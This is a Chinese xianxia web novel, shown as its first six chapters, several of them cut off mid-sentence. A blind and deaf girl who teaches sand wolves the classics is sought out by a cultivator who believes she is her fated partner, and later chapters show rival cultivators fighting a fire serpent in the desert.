《苍穹莫笑第二部》 1. 第 1 章 [] 烈阳当空,万里无云,毒火烘烤着滚烫的沙漠,蒸腾起一片黄金色的热浪。万点光芒闪耀间,依稀能看到三五旅人结伴而行。驼铃声声,伴随古老的歌谣,旅人的背影拉成长长的线,在这广阔无边的大漠中,宛如一叶叶不起眼的孤舟。 炎国,神州四国疆土最广博的国家,却拥有占据国土大半面积的沙漠地带。每一年,地火翻涌,沙漠的领域都要扩展几分。 沙漠边陲,一个面积不大的小绿洲上,热辣的舞娘穿着大胆在街上跳舞,肌肉虬结的壮汉哼哧哼哧的搬着大货箱,被日光晒得黑黢黢的贩夫走卒沿街叫卖,欢闹宛如市集。 这样远离皇城的小绿洲,通常是行商的必经之路,贫苦人为讨口饭吃已然不易,炎国民风大胆,更是不拘一格,身上少有布料,到处充斥汉子们的臭汗味和舞姬们的廉价脂粉味。在一群腌臜的粗人堆里,有两位与这环境格格不入的女子并肩走在街上,行动间,香风涌动,仙气飘飘,形成两道靓丽的风景。 两位女子衣着素雅,一白一蓝,皆是面覆轻纱,系着披风,一看便不是炎国打扮,倒像是郑国水乡出的碧玉佳人。两人纤腰轻动,长裙飘摇,体型高挑纤瘦,又格外玲珑有致。尤其那位白衣女子的双眼,仿佛蕴藏日月星辰,深邃无边,让人见之难忘。 边陲小城里,这样的女子实在不多见,还一下子出现了两个。沿途的汉子抻长了脖子,舞姬分神扭了腰,那喧闹的孩童,目光也随着那两道倩影移动,口中的蜜糖也不香了。一时间,长街落针可闻,只剩下两个女子若有若无的交谈声。 “夙瑶姐姐,你找那位有缘人已经十年。踏遍万水千山,炎国是最后一站,若那人不在此处,你又当如何?”蓝衫女子语气轻柔,又带了几分惯有的清冷之意,恰如林间清泉,沁人心脾。 白衣女子白纱下的唇角一勾,声音颇有几分傲意:“成丹之时,我窥得一丝天命,知我此生有一段姻缘纠葛。此事我原本不曾挂心,只因始终看不透那人玄机,心中好奇而已。我周游四国,本为历练悟心,若能因此寻得有缘人,固然是好,若寻不到,倒也没有那么强求。” “你的天眼通已经修炼大成,这凡间还有你看不透的人?” “有,还不止一个。” 夙瑶顿了顿,想到了某些不太好的回忆,瞥了一眼蓝衫女子,笑道:“倒是你,这十年静修,可曾真的静了心?” 那蓝衫女子美眸突然闪了闪,眼底笑意肉眼可见的暗淡下来,轻轻一叹,却未答话。 夙瑶抿了抿嘴,没有往下深说。她如凝脂般白皙的左手,习惯性的把玩着空空如也的衣袖,皓腕上一串金色小铃铛随她动作轻轻摇摆,却未发出一丝声响。 这未摘面纱便已风姿绰约,气度非凡的女子,竟是个独臂。 两人行至一处茶馆,正要进去,便听人群一阵骚动,不少窃窃私语传入耳中。 “那狼崽子又来了,这次可带了不少好货。” “可是那又瞎又聋,被沙狼养大的女娃?” “可不就是她!据说这丫头狼灵附体,阿达走沙漠的时候碰到过她,有两头半人高的沙狼在她身边护法,凶煞野兽都近不得身,你说奇不奇怪?” …… 两个女子对视一眼,升起了几分兴趣,但却并未凑热闹,缓步走入茶馆。香茶上桌,夙瑶招呼蓝衫女子道:“此处边陲小城,没那么多好东西招待你。可这水在炎国可是比铁还贵,一杯茶水一两金,你且仔细品了。” 蓝衫女子一听,脸色一变,当即便要起身离开。夙瑶拉住她,哭笑不得道:“你这性子怎的闭关十年还未改变,这茶我请你还不行?你堂堂太行山市云雪圣使,大郑第一美女,若是一杯茶水都喝不起,岂不笑死天下豪杰了?” 云雪圣使眼中几番挣扎,最终落座,闷闷的喝了一口茶。 倒是没有想象的难喝,还有一股浅淡甘甜,似是加了一点蜜糖,口感颇佳,满嘴都是金钱的味道。 夙瑶看见她苦大仇深的目光,便知道她心中所想,莞尔一笑,拨动面纱,檀口轻启,似品尝美酒般小口品着茶水。 邻桌的几个行商正喋喋不休说个不停,内容也与之前听到的狼崽子有关。两人听得颇有趣味,便叫来小二询问。 那小二身材魁梧,有着炎国人普遍的古铜肌肤,他稍作打量,咧开嘴,露出满口大白牙:“两位姑娘瞧着是郑国人,怕是第一次来到我们落金城吧。在我们落金城,此事无人不知。五年前,她第一次来到我们这。一个不过七八岁的小丫头,扛着个比她还大的包裹,里面都是沙漠深处不多见的宝贝。那丫头又瞎又聋,跟她喊好几句话,她才能听见一句。此后她每个月都会来我们这两次,换些日常所需,又扛着包裹回沙漠。五年来,风雨无阻。本来这世道艰难,若是哪个穷苦人家生养多了,扔掉几个女娃也是常有的事,这大漠之中,不知埋了多少枯骨。” 他见两个女子眼色颇有不善,却也没有在意,这种事在他们这里司空见惯,跟这些一看就出身富贵的千金小姐解释不通,遂继续道:“我们本以为这狼崽子也是被人弃养的娃娃,所以对她还有几分善意,凡是她来换东西,都要多给几分。这丫头人小却还公道,若是发现我们多给了,下次来还要多拿点东西还回去。本来这也没什么,买卖公道,各取所需。可关键是,五年了,她一点都没有变,个子没高,模样也没变。此后便有了传言,说她是狼灵附体,有沙狼保护,是个惹不起的妖物。” 夙瑶听得饶有兴致,道:“这世间哪有什么狼灵附体,不过是以讹传讹罢了。若真有这等奇事,我倒想见识一番。” 那小二顿时摇头道:“客官莫要招惹那丫头。我们炎国民风彪悍,总有些不怕死的想看看这传言真假。别看那丫头弱不禁风,力气大得很,三五大汉都打不过她。有几个胆大的泼皮跟着她走入沙漠,便再也没回来。你若是不招惹她,她倒也随和,从不惹事生非,换完东西就走。我们地处边陲,沙漠里最多的便是那沙狼。每次丫头进城,总有几头沙狼在城外徘徊,等她出城便随她一同离开。她来之后,这五年来,沙狼一次都没入城作乱过。” 说起沙狼,小二又是口若悬河,说个不停。原来这沙狼是沙漠中繁衍极快的一种猛兽,群居在沙漠荒废宫殿之中,头狼还有种种诡秘术法,可以掀起沙漠风暴袭击旅人,极为凶残嗜杀。此前每一年,都有不少仙门弟子来沙漠历练,帮炎国子民灭杀沙狼,防止成为灾祸。近些年沙狼活动不算频繁,便是连仙门弟子都见得不多了。 又说了几句,那小二要招待客人,这才作罢。 云雪圣使秀眉微蹙,道:“我怎么没有见过五年一点变化都没有的小孩子,此人莫非患了什么我都不知晓的怪病?” 夙瑶抿了一口茶水,道:“大千世界,无奇不有,这便是我经常出来历练的原因。比起她有什么怪病,我更好奇一个小孩子如何能让沙狼之灾止歇。” 话音刚落,茶馆门前,走来一个背负大包裹的女孩。 “店家,火荆棘送来了。” 声音清淡,干脆利落,有一种拒人于千里之外的冷漠。 两女同时望去,顿时呼吸一滞。 那是一个穿着粗布麻衣的女孩,大概七八岁的模样。身上的衣服虽然破旧,但洗的很干净。她身形笔直,腰身挺拔,长发简单束在身后,略显消瘦的脸上不施粉黛,白的有些透明。那眉是无月无星的夜,那眼是深邃幽静的海,那鼻是秀丽挺拔的山峦,那唇是夕阳赐予流云的一抹温存。如天公刻意雕琢的脸上,精致到不可思议的五官结合在一起,少了几分稚嫩,多了几分从容,有一股难以言喻 2. 第 2 章 [] 只是片刻功夫,女孩用火荆棘换到了想要的东西,匆匆离开。她的身影消失后,茶馆里才重新热闹起来。仿佛她就是落金城的一个禁忌,众人唯恐避之不及。 夙瑶本能的想要追出去,但看了看一旁的好姐妹,便也不再心急。 在夙瑶好言安抚下,云雪圣使又恢复了几分精神,夙瑶这才开口道:“不过是个小孩子,你这也能想到那个人,只怕再闭关十年,也解不开心里的结。” 云雪圣使失魂落魄,口中喃喃自语:“这世上真有气质如此相像的人?可她骨龄太小,性别也不对,便是转世,时间也对不上。她不是他,是我着相了。” 夙瑶眉宇间颇有几分愠怒:“浩然门大长老亲自断言,那个人早已陨落,神魂俱散。我实在不明白,他究竟有什么好,败坏你的名声,与你不清不楚,毫无担当,他不在了还好,若他真活着,我还要找他算账!” 云雪圣使立刻缄口不言,无论夙瑶说什么,都再不提那个人。 十年前那场大战,那个人的名字从修真界寂寂无名,到天下皆知。一朝陨落,却成了多少人心中的意难平。有人因他参与诛杀仙人千古一战的风采心生仰慕,有人因他半年修仙筑基中期感慨万千,有人因他释放妖仙祸乱人间唾骂不已,有人因他少年风流,数个天骄美女对他念念不忘,至死不渝而嫉恨难平。大郑第一美女云雪圣使与那个人的爱恨情仇,更是成了茶余饭后的谈资。 哪怕云雪圣使是因为圣王之命闭关十年,也被人说成了挚爱已死,她心如死灰才闭关不出。这件事究竟如何,身为当事人的云雪圣使始终没有一句解释,更推动了流言蔓延。此事传出的不同版本就有几十种,更有无聊人士深扒那位少年英杰的情史,写成话本,在年轻一辈的修士中,广为流传,引起风潮。 云雪刚刚出关不久,她也是本着好意邀请好姐妹外出游历散心,如今看来,心结难除,到哪里都是一样。 “那女孩是我的有缘人,我要去寻她,你一同来吗?” 刚刚沉浸在悲伤中,不曾留意,云雪圣使这才想起来夙瑶的话,轻轻摇了摇头,脸色不禁古怪起来。 “既不是他,那便不想多增烦扰。你的有缘人,怎会是个女子,还这么小……难道你以后要与女子结为道侣?” “是男是女又如何?世间缘法本就奇妙,若命里有缘,我便应下。我夙瑶何有惧栽?区区一个姻缘纠葛,动摇不了我的道心。了却此缘,我方能了无牵挂寻求仙途,没有后顾之忧。你且在城中客栈等我,我去去就回。” 说罢,夙瑶将十两金子拍在桌上,飘然而去。 店小二喜滋滋去收钱,却被一个青葱玉指按下。这位天仙儿似的蓝衫女子,眼中迸发出奸商才有的精明光芒,一字一句道:“找钱!” 夕阳西下,女孩终于将大包裹里的东西全部换成日常用品。她擦了擦脑门上的汗,点了手中木棍,摸索着离开落金城。 夙瑶一路相随,不远不近,果然看见沙漠上两头身形壮硕的沙狼在城外徘徊,见那女孩,来到,便驮着她奔向沙漠。 沙狼,乃沙中灵火孕育出的妖兽,生来便有一阶之灵,群居嗜杀,凶残无智,喜食人肉,速度迅猛。 这样一群毫无理智的禽兽,本该见人就吃,何故对一个小女孩另眼相看? 夙瑶嘴角轻勾,颇觉有趣,心中倒也不急,一路随着沙狼步入大漠。 沙狼速度极快,一入沙漠,便如奔雷疾风,转瞬消失不见。但那白衣身影却总能追上沙狼踪迹,维持着不远不近的距离,便是那五感敏锐的沙狼都没有发现她的气息。 天色渐暗,两狼一人终于来到一处破败残垣中。炎国领域广阔,历史悠久,不少王朝更迭,城池淹没在这方蚀骨黄沙里。如眼下这样的残垣断壁,数不胜数。 女孩爬下狼背,打开被黄沙掩盖的一方暗门,与沙狼一同钻了进去。 暗道无光,错杂多路,女孩十分熟络的穿梭其中,没有半分滞涩狼狈。通道尽头,是一方地宫,占地颇大,只是不少地方已被黄沙侵蚀掩埋,只余一片还算宽大的空间。 收回五感,夙瑶等了片刻才进入暗门。她的脚步很轻,几乎没有任何声响,更如同浮在地面上,纤尘不起。 通道中,隐隐传来读书声,所诵念的,正是四国流传颇广的名篇。 只是那读书声颇为班杂,有老者,有青壮,有儿童,也有尖锐如金铁摩擦的噪音。 夙瑶沿着两狼一人行进的路线,一路走来,心中已是掀起一番风浪。这错综复杂的暗道中,有无数陷阱,牵一发而动全身,若是不小心触动机关,寻常凡人必会死无全尸,便是低阶修士,若不留神,也难免受伤。 耳畔的读书声越来越大,夙瑶来到一处似是宫殿的地方,这到处是残垣断壁和野兽粪便的空间里,充斥着刺鼻的气味,肮脏不堪,唯有一处由兽皮铺展的地方,还算干净整洁。 女孩端坐在兽皮上,后面摆放一个书柜,两个破木箱,不远处还有一口大锅。她的身前,有十几只大大小小的沙狼,全部都是两阶三阶的妖兽,正直立坐在地上,前肢捧着书本,摇头晃脑的阅读,十分认真。 女孩时不时纠正沙狼们的错误,严厉如同真正的教书夫子。 这一幕,饶是见过大场面的夙瑶都看傻了眼。莫不是这小瞎子看不到,竟将沙狼错认成人,还教他们读书习字? 但想到小瞎子与那两只沙狼同行的情景,这种想法立刻被她推翻。 夙瑶游历诸国,见识广博,也知道这沙狼虽实力不济,可二阶足以称为头狼,统御一方狼群,性情凶残暴虐。这些沙狼分明都是二阶三级的妖兽,本该个个桀骜不逊,又怎会被一 3. 第 3 章 [] 此前夙瑶屏蔽了气息,那些沙狼都不能发现她的存在,此刻她一出声,那十几头沙狼立刻调转身形,目光中涌现凶悍之色,却看了看那女孩,没有轻举妄动。 而那女孩,依旧端坐在兽皮上,似乎根本没有发现异常,还等着座下学子提出疑问。 夙瑶立刻想到她又瞎又聋,那些沙狼读书提问时也刻意将声音放大,唯恐她听不见,遂提高了声音,重复了一遍。 那女孩果然愣了一下,有些茫然的转头望向夙瑶,微微皱了皱道:“足下可是新来的沙狼,为何不经允许便来到我的书堂?” 夙瑶笑道:“我非沙狼,乃是人类。途经此地,听小夫子讲课,见解犀利,语出不凡,便有了与夫子交流的心思。我诚心求教,若是扰了小夫子教书的雅兴,还请见谅。” 她话说的很客气,那群沙狼目光也平和了些许,仍是未放下警戒之色。 女孩眉头皱的更深,片刻后,又舒展眉梢,点头道:“既是问道求学,自当有教无类,我既能教授沙狼,也可解姑娘心中疑惑,但说无妨。” 有教无类,本是打破寒门与望族之间的壁垒,未想到这跨越种族,亦可做到有教无类。这便是那些成名大儒都无法做到的事,竟让这小小女童践行的如此彻底。而这丫头丝毫没有谦虚之意,言语间极为傲气,也是个心气极高的人。 夙瑶心中感慨,将话题又引到了那则故事上。 “此文乃郑国大儒徐墨子早年所写,以农户治理田中祸患,教导后人要学会借势,善用强者之力解决危局。小夫子之前所言,说以鹰治蛇鼠之患甚为不妥,那我想知道,如何解决祸患,一劳永逸?” 女孩闻言,对答如流:“以蛇抑鼠,无可厚非,此乃借势。但借的势太大,借势者弱小,便会失衡。所以在借势之初,便该有所选择。蛇也分多种,可选无毒之蛇,凶性弱一些,能食鼠,亦能为农户捕猎。此为其一。鼠灾多在洪涝灾害之后,鼠群聚集之地为洪水淹没,无处可去,遂前往高处祸害庄稼,祸乱乡间。仅除鼠患不能解决根本问题,为提防洪涝蔓延,官家应修建堤坝阻挡洪水,防患于未然。此为其二。身为农户,只知种田不懂维护,一旦有灾祸出现,便无计可施。靠天吃饭,总有尽时,读书明智方为正途,便是农户,也应知晓几分道理,日后行事,方能顺遂。此为其三。万物有常理,天灾无常焉。这茫茫天地,又有什么是一成不变,一劳永逸的呢?唯有不断进步,接受新的思想,用于实践,才能不被时代所弃。你若求永绝此患的道理,便只能求助仙人,灭了那鼠类一族了。” 她这一番话说下来,夙瑶双目放光,心中敬佩更多。这女童溯本追源,从根源上解决问题,不是徐墨子那种饮鸩止渴之举,最后那番总结,更是隐含深意,可呼应天道至理。 越是深思,夙瑶越是看不透这小小女孩。能教导这群只知杀戮的禽兽习得圣人之道,让其开启灵智,不拘泥常理人情,又可说出至理名言,让她这个修仙者都望尘莫及。她早已想好的治理之法,在这女孩面前,倒显得不值一提了。 哪怕知道对方看不见,夙瑶还是躬身一拜,道:“小夫子所言字字珠玑,学生受教了。不知小夫子可否告知姓名?” 女孩摆了摆手,道:“漂泊浮萍本无根,天涯游子君莫问。你我不过萍水相逢,何必要互通姓名。你能来到此处与我相见,必不是寻常之辈,这一句学生,我可是担待不起。” 夙瑶知她指的是通道内的重重机关,此刻倒也不否认,只是道:“小夫子高才,却屈居于这方寸之地,才华不能施展。我愿将你带离此地,重归凡尘,不知小夫子可愿意?” 那女孩眸光闪动,似有意动,但片刻后,却摇了摇头,苦笑道:“足下有所不知,我身患隐疾,勉力存活已属不易。若无这群沙狼维护,早已葬身沙漠。它们有恩于我,我授业于它们,共生多年,不曾离弃。余生不知何时逝去,惟愿与它们在一起,死时也不算孤独。” 此言一出,十几头沙狼皆是目有泪光,一只幼崽更是直接来到她的身前,用黄色鬃毛蹭着她的手,似在安抚。 女孩微微一笑,拍了拍那狼崽的脑袋。 此情此景,夙瑶心中触动,更是不可能放任这女孩不管,当下便道:“我略通医术,或可为小夫子诊治。” 那女孩有些惊喜,旋即又迟疑道:“这些年,我与沙狼同居,身无长物,更无金银。若足下肯为我医治,我是拿不出什么好东西给你的。” 夙瑶莞尔一笑,道:“小夫子说笑了。夫子解惑之情,我尚未偿还,又哪里能贪图金银俗物,只需让我把脉片刻,便能知晓症结所在。” 女孩这才点点头,示意夙瑶前去。 仙家神魔九道,夙瑶已学成其六,乃是当世不可多得的天才人物。自十年前六丹凝成之后,声名远扬,四国修真界无人不知夙瑶之名。她所修习的诸天大道中,恰好有这医道。仅凭望闻就能获知对方病患,但她这位未来小道侣,分明面色红润,气血充盈,根本不似将死之人。 这也是夙瑶一心想上前查看的原因。她大可以施展天眼通,但面对一个毫无修为的凡人,她已经起了尊敬之意,便没有以此探查过对方。 手指搭在女孩皓腕之上,一股温热之意自手指传递到心头。近距离凝望之下,女孩的眉眼五官清丽不凡,眉宇间更是有一种寻常女儿家没有的英气从容。想到这便是她寻了十年的姻缘,夙瑶心中有些复杂,顿了片刻才开始诊脉。 这一诊之下,夙瑶立刻皱起了眉。 女孩的脉象极为杂乱,体内似乎蕴藏诸多毒素,更有几股暴虐之力相互制衡,阻断经脉。这力量无论哪一股,都足以摧毁凡人的性命,却不知为何竟能相安无事,和平共处。 4. 第 4 章 [] 十年前那场大战,残月拼着神魂俱散的风险,施展出禁术,成功将她带离战场,也让她的身形容貌发生了改变。她永远停留在八岁稚童的样子,这些年来从未有过变化。而残月也因为透支太过,狐身崩裂,只余一道元神在她灵台中沉睡。 起初,沈莫笑醒来时尚有几分修为,五感尚未完全泯灭,可以震慑在此盘踞的沙狼。后来,她的修为逐渐消失,沙狼野性难训,她便以儒家经典驯化沙狼,为己所用。 靠着紫衣和储物袋中的辟谷丸,她尚能压制住体内的丹毒苟且偷生。却不知道是不是禁术的后遗症,身体始终无法恢复正常,连修行都做不到,更是经常忍受病痛折磨,生不欲死。 五年后,她五感消失殆尽,只有触感尚在,耳朵还能听见一点声音。这些年,无论她如何努力,都无法重新修行,紫衣似乎也只能压制住丹毒蔓延,维持住她的生机。若无夙瑶突然来到,她恐怕一生都没有恢复五感的机会。 这十年沉淀,她虽然没有重新修行,但发现,教书育人,让妖兽领悟圣人古训,可以提前开启妖兽灵智,使其口吐人言,拥有不逊于人类的智慧。 当然,她也不是没遇到修仙者,可她与沙狼为伍,那些修仙者本就是为了除掉沙狼之患才来到大漠历练,见到她便喊打喊杀,全无仁慈之意,好几次都险象环生,靠着沙狼庇护才没有送命,此后再也不敢冒然接触,能避则避。 十年来也只有一个铸天门弟子还有几分仁善,但见她没有仙基,只愿意将她送到落金城安顿。可沈莫笑自己便能去落金城,何须他来安顿,便只能继续蛰伏沙漠。 一晃多年,徒劳无为,沈莫笑只靠着胸中那一股不甘苟活至今。 如今,终于等到了机会。 沈莫笑深吸一口气,脑中盘算不断。夙瑶此前在浩然门名望颇高,为人刚正傲气,应是言出必践之人。可她曾将此女坑害个半死,夙瑶若真知晓了她的身份,必定不会留她。之前她只能隐约听到声音,根本没有认出夙瑶,是故言辞颇为不谨慎,骗骗寻常修士也便罢了,若是夙瑶,她还真没有把握。若她事后想明白,回来质问,必然十分麻烦。 在浩然门时,她便觉得此女性情难以捉摸,残月更是提醒她不要太过接近此女。想必这夙瑶定有什么通天术法,可以勘破伪装。就是不知道,十年已过,她的修为实力达到了何种地步,又是不是已经将她看的通透,如今只是存着戏耍她的心思。 左右思量片刻,她还是决定等待夙瑶的消息。若真有什么办法,她断不可能在这沙狼窝里苟活十年,此生若不能重新修行,与死何异? “想不到夙瑶竟然修习了医道仙法,且她的悬壶真气精纯程度与馨儿不相上下,应是出自药王门。但她一个儒道浩然门弟子,到底是怎么学会的药王门功法?” 沈莫笑心中疑惑,片刻后又摇头苦笑。她已经惨成了这样,哪里还有心思关心别人。只盼夙瑶能快点炼出丹药,将她体内丹毒驱除。只要她的修为恢复,治愈旧伤是迟早的事。 修行有了希望,沈莫笑心情大好,又对沙狼们嘱咐几句,便早早休息。 且说夙瑶回到落金城,已是夜里。来到客栈与云雪圣使相聚后,她将今日所见所闻说给好姐妹听。 云雪圣使听得啧啧称奇,沉凝片刻,道:“她的情况颇为棘手,脉象紊乱,体内经脉为毒素阻塞,这些姑且不论,单凭她多年不再生长,五感缺失,便不是寻常的凡间小病。若我猜得不错,她应该受过极重的伤,又不知有什么机缘,得修仙者相助才侥幸不死,却因此落下隐患,伤了生机本源。她没有修为,身体又十分脆弱,要驱除那几股力量,至少需有四品丹药护住心脉。你可想好炼什么丹了?” 夙瑶从不虚言,答应那女孩的一刻起,便想好了一切,此刻开口道:“开庭养心丹。” 云雪圣使讶然,道:“便是在四品丹药中,开庭养心丹也是上品,极难炼制。且此丹需有雪国独有的黄金莲为引,天底下只有雪国皇室才有。服用此丹,非但可以护住她的心脉,还可令其拥有仙基。可惜我醉心岐黄医术,对炼丹不算精通,帮不了你太多。” 夙瑶轻声一笑,道:“无妨,我已有十足把握炼成此丹,只差黄金莲没有到手,还要去雪国一趟,你便与我同行,领略一下天山雪景的壮阔。” 云雪圣使点了点头,眸子一转,调笑道:“还没有结成道侣,你便对她如此上心,连开庭养心丹都舍得送。你可知这丹药中,每一味药材都价值连城,药王门每年出产的也不多,各大宗门的长老都愿意花大价钱为子嗣后代采买此丹。可谓一丹难求。你这么用心,怕不是现在就用情至深了?” 夙瑶哑然失笑,手指点着好姐妹的小脑瓜道:“以前怎么没发现,你这般八卦。她现在只是个小孩子。我与她有姻缘宿命,我夙瑶的道侣,岂能是个平庸之辈。纵然我心向大道,注定不可能跟她长久,但既然有缘,我也不能亏待她,送她一段缘法,日后究竟如何,我便管不得了。” 这番话说的义正严词,云雪圣使的八卦之心反而被挑了起来,对那女孩好奇更盛:“你性情高傲,少有夸人,竟然对那女孩赞不绝口。倒也是个稀罕事。你说她见解犀利,语出不凡,胸中沟壑万千,那必是师承名家,你可问出她的夫子是谁,是否出身书香门第?” 此言一出,她便看见夙瑶的笑容僵在脸上。 在废墟中,夙瑶先是被女孩教导沙狼的情景震撼,又被她的见解吸引,探查她的病情,更是对其多了几分同情。她本是个随心随性的人,并不着急了解这 5. 第 5 章 [] 吴道友从储物袋中翻出一个罗盘模样的东西,又取出一个小瓷瓶,将其中的一滴血液小心翼翼滴在罗盘之上。随后双指并拢,打出一丝灵气。罗盘中央的指针便快速转动起来,最后停留在一个方向。 老者见此,眼中贪婪之色一闪而逝,抚须笑道:“道友这法器竟可寻到罗刹火蛇,想必价值不菲。” 吴道友不无自傲道:“此物乃我与陆兄九死一生从一处险地所得,便是在太行山市,此物也值上千商钞。我花费数年才将此宝祭炼成功,已心随法动,凭借一滴罗刹火蛇的血液,便可寻得那畜生藏身之处。不过此宝每次只能持续效用一刻钟,我手中已无多余血液,我等需尽快行事。” 剩余两人立刻点头,随着他快速寻去。 月黑风高,沙漠里安静的出奇。 往日夜里,沈莫笑没有别的事做,便会默念广文经早早入睡。沙漠夜里寒冷,她有沙狼幼崽在侧,十分温暖,通常一觉睡到大天亮。可今夜格外燥热,她醒了好几次,再难入睡。 “十二,你去看看沙漠里可有异常。” 听得沈莫笑吩咐,趴伏在她脚边的凶悍沙狼,揉了揉惺忪睡眼,摇摇晃晃走进暗道。 狼本是夜行动物,可沙狼应大漠地火而生,天生喜阳,在白日出没,夜里也如人类一样入睡。因感念沈莫笑授业之恩,这些个头狼每晚都会派出一个守在她身边保护。 等了许久,十二仍然没有回来。沈莫笑心中焦急,脱下身上紫衣,换了寻常的衣物,与狼崽一同出去探看。 沙漠中每片区域都是妖兽领地。她所在的沙狼聚集地,分属于不同的沙狼族群,只因她十年来辛苦驯化头狼,使得这些沙狼凝聚在一起,也成了大漠中一股不容小觑的力量。往日夜里,总有沙狼巡逻,时不时便要吼一嗓子,代表相安无事,可沈莫笑与狼崽等了良久,都没有听到狼叫,心中便已警觉。 凭着狼崽嗅觉,沈莫笑找到了不少沙狼尸体,尸体都是被利器直接斩断腰身而死,出手十分狠辣,没有多余的伤口。 她多年驯化,这些沙狼早已成了气候,基本是遇到危险便发出讯号,引狼群来助。便是力有不逮,也会快速逃离。 能无声无息的死掉,只可能是一照面便被人夺了性命。这人出手迅捷,不留余地,定是个修仙者无疑。 沈莫笑默默攥紧了拳头。她最落魄时,是这些沙狼庇护她,十年相伴,互为亲人。这些年学习圣人之道,沙狼们从不会主动攻击人,却无故被修仙者屠杀,她如何能置身事外。 “小十八,带我去找他。” 狼崽小十八,只有六个月大,却天生灵慧,早早晋升二阶,五感敏锐远胜其他头狼。小狼崽嗅了嗅狼尸身上的味道,便嗷呜一声,朝一个方向跑去。 沈莫笑立刻跟上,一人一狼跑了许久,沿途遇到狼尸无数,狼尸也开始出现三种不同兵器所造成的伤口。沈莫笑心中越来越沉,若只是个低阶修士,她或许还能想办法杀死,可若是三个修士,就算是依靠沙狼群,应对起来也颇为困难。 “大漠妖兽都是纯阳属性,大多只在白日出没,这三人却在这大半夜来猎杀沙狼,到底有何目的?只可惜入夜后紫衣放出光芒,实在太过惹眼,我不能将其穿在身上,那便只能随机应变。只盼那三位修士修为不高,我还可有些胜算。” 沈莫笑深吸一口气,正打算继续跟小十八追查修士下落,便听那小狼崽口吐人言道:“夫子,不能再前行了。前方是罗刹火蛇的领地,它很厉害,老大也打不过。” 在大漠深耕良久,沈莫笑对于这里的妖兽熟悉不过,罗刹火蛇暴戾凶悍,领地意识极强。往日沙狼与其井水不犯河水,倒也相安无事。但此刻,沈莫笑一心想为沙狼们报仇,便也管不了许多。 “你立刻去通知狼群,让所有头狼率众在此待命,今日便是阎王殿,我也要闯上一闯。” “那夫子不要乱跑,一定要等我回来。”小十八对沈莫笑言听计从,立刻跑远。 小狼崽走后,沈莫笑立刻施展匿行术,一路进入罗刹火蛇的领地。 匿行术乃狐族秘术,可屏蔽气息,是当年残月传授她的第一个术法,她有残月情丝,自带帝王妖兽的气息加持,便是没有修为也一样能施展出来,只不过效果差了一些,但应对低阶修士已经足够。 沈莫笑走了良久,寻到一处残垣断壁暂时歇脚。今夜大漠地火格外欢腾,脚下热浪翻涌,越是深入罗刹火蛇的领地,越是灼热无比。 她擦了擦额角的汗,耳朵动了动,隐约听见了几个人的对话声。 “你 6. 第 6 章 [] 沈莫笑不动如钟,凭着听力分析着战场情况。 “那个声音洪亮的汉子,应是三人最强,他的武器挥舞起来十分沉重,却可轻易劈开风势,应该是很大的刀。那声音阴郁的少年,行动间步履如风,十分飘逸自如,似乎走的也是儒道。那个老头自始至终不见有什么痛苦惨叫,应该在浑水摸鱼,未尽全力。这三人不齐心,怕是临时组建的队伍,那便有我发挥的余地。可我若是过早出手,几人便是不敌,也可从容离去,还需找准时机。” 沈莫笑将形势分析的七七八八,便听那罗刹火蛇发出一声凄厉嘶吼,声音中似有无穷不甘与怨恨。 “哈哈哈!终于等到蜕皮之时,韩老头,你还不出手吗?!”吴道友大喝一声,一刀劈下。那一直游刃有余,威势十足的罗刹火蛇,此刻却萎靡不振,任由那一刀劈斩而来,当即头破血流,头颅重重垂地,荡起一圈尘埃。 听得吴道友提醒,姓韩的老者立刻拿出几个小巧旗子,右手挥出,旗子落在罗刹火蛇八方之位。只听他口中诵念出一串无法听清的咒语,八个旗子发出微光,形成一圈淡青色光芒,将罗刹火蛇困在其中,无法动弹。 刺啦,罗刹火蛇头顶火焰大盛,将那淡青色光芒烧开一个洞,似乎要拼着最后力量脱困而出。 韩姓老者立刻加大灵力,额上冒出豆大汗珠,急急道:“这畜生犹有一战之力,两位道友助我,大阵尚需一点时间才可结成。” 书生立刻祭出折扇。那折扇看似是寻常纸扇,却有金铁之力,拍在罗刹火蛇獠牙之上,立刻将其獠牙震碎,那后震力也颇为不俗,竟将它整个蛇头再次塞回淡青色光芒中。 罗刹火蛇拼命挣扎,蛇身疯狂摆动,拍在大阵之上,引得阵旗颤动,似乎就要支撑不住。 吴道友与书生连忙各施手段,帮韩姓老者稳固大阵。但他们仍是低估了罗刹火蛇的反扑之力,那大阵在它奋力攻击下,如脆弱的玻璃般轰然炸裂,巨大蛇身一跃而起,蛇尾横扫而下,顿时将三人齐齐抽飞。 三人吐血倒地,脸色皆是苍白如纸。罗刹火蛇赤红双目仿佛要滴下血来,愤怒之下,完全不顾身上伤势,张口便咬断了吴道友的一臂。后者惨叫连连,却丝毫不敢停留,长刀一扫,将那蛇头打偏,双脚一踏,转瞬跃出十数步距离。 他刚一站定,气息还没有喘匀,背后有利器破空而来。吴道友心中一惊,连忙长刀回挡,却不料那利器来路颇为诡谲,竟是有一枚插进了大腿上。他连忙拔出利器,是一枚做工颇为粗糙的凡俗飞镖。 未及多想,那罗刹火蛇已经来到身前,他迫不得已与之厮打开来。罗刹火蛇身上的皮已经开始蜕化,在表面上凝出一层薄如蝉翼的旧皮。旧皮完全褪去,它便会成功晋升四阶,此时正是最虚弱的时候。 见那罗刹火蛇再不复之前悍勇,三人精神大振,呈掎角之势将其围困其中。三道光芒齐齐打在罗刹火蛇巨大的蛇身上,它口中嘶吼更盛,却因蜕皮而无力再战。 眼看生机衰弱,就要死去,罗刹火蛇汇聚最后一点气力,口中喷吐火焰,朝吴道友攻去。困兽之斗,凶险万千,但此刻罗刹火蛇已难成大器,这火焰吴道友轻松便可避过。他正欲行动,却感觉腿上一麻,行动竟迟缓了几分。 刹那间,火焰燃身,吴道友立刻催动灵气抵御火焰,愕然发现,灵气运转滞涩无比,四肢百骸都像是被麻痹了一样,行动困难。 “中毒了!”吴道友心中大骇,想到腿上中的那枚飞镖,又惊又怒。若是平时,无论是罗刹火蛇的火焰,还是这凡俗的毒物,他都能轻松化解,但此刻他斗火蛇耗损颇大,灵气空虚,想要一下子压制两种侵袭尚有些困难。 此刻性命垂危,实在不宜去寻那不知何方的宵小之徒,他立刻朝另外两人喊道:“两位道友快来帮我压制火焰!” 韩姓老者眼中闪过莫名光芒,却是纹丝未动。那书生倒是行动很快,片刻便来到吴道友身前,手中灵气激荡,一掌拍在吴道友胸膛。 后者当即吐血倒地,身上火焰瞬间无法压制,蔓延全身,将他烧得痛呼出声。 “陆腾,你我相交多年,你竟下此毒手!” 